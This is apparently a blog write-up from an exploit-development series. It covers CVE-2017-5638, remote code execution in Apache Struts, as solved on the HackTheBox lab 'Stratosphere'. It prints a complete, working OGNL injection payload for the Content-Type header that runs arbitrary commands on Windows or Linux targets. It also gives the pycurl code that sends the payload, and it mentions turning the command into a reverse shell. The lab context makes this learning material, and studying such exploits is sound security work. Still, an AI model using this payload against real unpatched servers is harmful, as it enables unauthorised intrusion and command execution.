ExploitDev Journey #10 | CVE-2017-5638 | Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution

Original Exploit: https://www.exploit-db.com/exploits/41570

Exploit name: Apache Struts RCE
CVE: 2017-5638
Lab: Stratosphere - HackTheBox

Description

There is a vulnerability in Apache struts that allows a remote attacker to execute code and system commands using a Java payload. Apache struts itself is used for creating Java-EE web applications.


How it works

This vulnerability is exploited through the Content-Type HTTP header. This box however had some SSL problems and I couldn't use Python-requests for it. Nevetheless I found a way to exploit it using another library called pycurl.


Writing the exploit

In order to exploit the vulnerability you have to find an action page. The payload that you are going to use works for both Windows and Linux and it's generated with msfvenom but you don't need to worry about generating your own payload because I have included it along with the rest of the code:

payload = "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

For every command that you perform, you have to send a fresh new request to the website, you can change it to something to get a reverse shell but look at the payload!
The payload is designed to be cross-platform so there won't be any need.

headers = [f'Content-Type: {str(payload)}']

Here is how we store a header, we are basically storing the payload in a Content-Type HTTP header. However the most important part is that we are using a new tool and that is pycurl:

c = pycurl.Curl()
c.setopt(pycurl.HTTP_VERSION, pycurl.CURL_HTTP_VERSION_1_0)
c.setopt(c.URL, rhost)
c.setopt(pycurl.HTTPHEADER, headers)
c.perform()
c.close()

First we create an instance of the Curl() class and then we set the HTTP version to 1.0 and I think the rest of the code should be self-explanatory.


Final thoughts

Here you saw a payload that checks the operating system to see if it Windows or Linux and it will open a shell accordingly, You could even go back and change all the other exploits we have worked on and transform them to something more convenient like this. In this session you also learned about another alternative for python-requests, if your exploits don't work because of some weird SSL certificate errors, you can definitely try again with pycurl.